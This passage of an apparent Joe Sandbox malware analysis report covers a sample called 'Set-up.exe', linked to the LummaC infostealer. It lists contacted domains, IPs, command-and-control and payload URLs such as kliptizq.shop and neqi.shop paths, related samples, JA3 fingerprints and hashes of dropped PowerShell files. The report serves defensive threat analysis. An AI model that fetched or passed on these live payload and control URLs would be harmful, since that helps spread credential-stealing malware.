https://kliptizq.shop/int_clp_ldr_sha.txtNot_NuXix	100%	Avira URL Cloud	malware
https://neqi.shop/	100%	Avira URL Cloud	malware
https://weighappetis.click/	0%	Avira URL Cloud	safe
https://weighappetis.click/apic	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
weighappetis.click	172.67.192.222	true	true	unknown
kliptizq.shop	104.21.84.113	true	false	high
neqi.shop	172.67.169.205	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
slipperyloo.lat	false		high
curverpluch.lat	false		high
weighappetis.click	true	Avira URL Cloud: safe	unknown
tentabatte.lat	false		high
manyrestro.lat	false		high
https://neqi.shop/sdgjyut/psh.txt	false	Avira URL Cloud: malware	unknown
bashfulacid.lat	false		high
https://weighappetis.click/api	true	Avira URL Cloud: safe	unknown
wordyfindy.lat	false		high
shapestickyr.lat	false		high
talkynicer.lat	false		high
https://kliptizq.shop/int_clp_ldr_sha.txt	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	powershell.exe, 00000006.00000002.2502099169.0000000005294000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kliptizq.shop/	'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.microsoft	powershell.exe, 00000004.00000002.2511754540.0000000006FA8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2518893066.0000000007E78000.00000004.00000020.00020000.00000000.sdmp	false		high
https://kliptizq.shop/int_clp_ldr_sha.txtP	'Set-up.exe, 00000000.00000002.2494931378.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.2507397516.0000000005955000.00000004.00000800.00020000.00000000.sdmp	false		high
https://weighappetis.click/apiz	'Set-up.exe, 00000000.00000003.2492364581.0000000000892000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000002.2494376913.0000000000893000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/5xx-error-landingmancer	powershell.exe, 00000006.00000002.2500891120.000000000318E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landinghZZld	powershell.exe, 00000006.00000002.2502099169.0000000005379000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/learning/access-management/phishing-attack/class=cf-btnstyle=background-c	powershell.exe, 00000006.00000002.2500891120.000000000315B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2501240684.00000000031F3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2501814506.0000000003340000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2502066584.0000000004C80000.00000004.00000020.00020000.00000000.sdmp	false		high
https://weighappetis.click:443/api	'Set-up.exe, 00000000.00000003.2308432770.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.micros	powershell.exe, 00000004.00000002.2500612887.0000000004EF0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kliptizq.shop/JiF	'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://kliptizq.shop/Si	'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000004.00000002.2500612887.00000000048F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2502099169.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/learning/access-management/phishing-attack/b	powershell.exe, 00000006.00000002.2500891120.000000000318E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/learning/access-management/phish	powershell.exe, 00000006.00000002.2502099169.0000000005379000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.2507397516.0000000005955000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2507397516.0000000005955000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kliptizq.shop/tiEiM	'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	'Set-up.exe, 00000000.00000003.2331972784.00000000037ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.2500612887.00000000048F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2502099169.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://weighappetis.click/ows	'Set-up.exe, 00000000.00000003.2377530287.00000000008C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.mozilla.or	'Set-up.exe, 00000000.00000003.2331820506.00000000034DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://neqi.shop/sdgjyut/psh.txtbleE	'Set-up.exe, 00000000.00000002.2494931378.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.innosetup.com/	'Set-up.exe	false		high
https://weighappetis.click/s	'Set-up.exe, 00000000.00000003.2330195563.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2507397516.0000000005955000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	false		high
https://weighappetis.click/k	'Set-up.exe, 00000000.00000003.2330195563.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/learning/access-management/phishing-atX)	powershell.exe, 00000006.00000002.2502099169.0000000005379000.00000004.00000800.00020000.00000000.sdmp	false		high
https://neqi.shop/	'Set-up.exe, 00000000.00000002.2494931378.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2507397516.0000000005955000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://weighappetis.click/apiQ	'Set-up.exe, 00000000.00000003.2377715589.0000000000843000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	'Set-up.exe, 00000000.00000003.2331972784.00000000037ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mi	powershell.exe, 00000004.00000002.2511754540.0000000006F72000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	powershell.exe, 00000006.00000002.2502099169.0000000005294000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landingid=brand_linktarget=_blank	powershell.exe, 00000006.00000002.2500891120.000000000315B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2501240684.00000000031F3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2501814506.0000000003340000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2502066584.0000000004C80000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://neqi.shop/sdgjyut/psh.txti	'Set-up.exe, 00000000.00000002.2494931378.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.micro	powershell.exe, 00000004.00000002.2511074213.0000000006F0E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/learning/access-management/phishhZZl	powershell.exe, 00000006.00000002.2502099169.0000000005379000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kliptizq.shop/int_clp_ldr_sha.txtEe	'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://weighappetis.click/#	'Set-up.exe, 00000000.00000003.2330195563.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kliptizq.shop/int_clp_ldr_sha.txtNot_NuXix	'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://weighappetis.click/	'Set-up.exe, 00000000.00000003.2492013445.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2377401090.00000000034C7000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2491954191.000000000357A000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000002.2494982535.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2282938452.0000000000853000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2282938452.000000000088A000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2354266566.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2354061225.0000000003558000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2377530287.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000002.2498920865.000000000357A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.remobjects.com/ps	'Set-up.exe	false		high
https://weighappetis.click/apic	'Set-up.exe, 00000000.00000003.2282938452.000000000088A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.84.113	kliptizq.shop	United States	13335	CLOUDFLARENETUS	false
172.67.192.222	weighappetis.click	United States	13335	CLOUDFLARENETUS	true
172.67.169.205	neqi.shop	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580128
Start date and time:	2024-12-24 01:17:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	'Set-up.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/7@3/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 97% Number of executed functions: 22 Number of non-executed functions: 124
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1208 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5756 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:18:13	API Interceptor	10x Sleep call for process: 'Set-up.exe modified
19:18:34	API Interceptor	18x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.84.113	TT4ybwWc1T.exe	Get hash	malicious	LummaC Stealer, zgRAT	Browse	voloknus.pw/api
172.67.169.205	AutoUpdate.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
neqi.shop	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.169.205
	Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174
	Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174
kliptizq.shop	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.84.113
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.191.144

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229
	installer.msi	Get hash	malicious	Unknown	Browse	104.21.80.93
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.58.45
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.169.205
	EPIRTURMEROOO0060.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.25.14
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229
	installer.msi	Get hash	malicious	Unknown	Browse	104.21.80.93
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.58.45
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.169.205
	EPIRTURMEROOO0060.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.25.14
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229
	installer.msi	Get hash	malicious	Unknown	Browse	104.21.80.93
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.58.45
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.169.205
	EPIRTURMEROOO0060.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.25.14
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.192.222 104.21.84.113 172.67.169.205
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.192.222 104.21.84.113 172.67.169.205
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.192.222 104.21.84.113 172.67.169.205
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	172.67.192.222 104.21.84.113 172.67.169.205
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.192.222 104.21.84.113 172.67.169.205
	ZysXVT72cl.exe	Get hash	malicious	LummaC	Browse	172.67.192.222 104.21.84.113 172.67.169.205
	NxqDwaYpbp.exe	Get hash	malicious	LummaC	Browse	172.67.192.222 104.21.84.113 172.67.169.205
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	172.67.192.222 104.21.84.113 172.67.169.205
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.192.222 104.21.84.113 172.67.169.205
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	172.67.192.222 104.21.84.113 172.67.169.205

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.7307872139132228
Encrypted:	false
SSDEEP:	3:Nlllul4/X:NllU4/
MD5:	3C34689C4BD27F7A51A67BBD54FA65C2
SHA1:	E444E6B6E24D2FE2ACE5A5A7D96A6142C2368735
SHA-256:	4B7DAB4629E6B8CC1CD6E404CB5FC110296C3D0F4E3FDBBDB0C1CE48B5B8A546
SHA-512:	02827A36A507539C617DFE05EDF5367EB295EB80172794D83F3E9AF612125B7CA88218C2601DFA8E0E98888061A0C7B0E78428188523FA915F39B23F148F8766
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................,.........................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wwbpwwa.jcq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f0ned0ju.2fm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2tzhewd.enn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ocfzhfpo.0hm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_plztfcao.hz5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
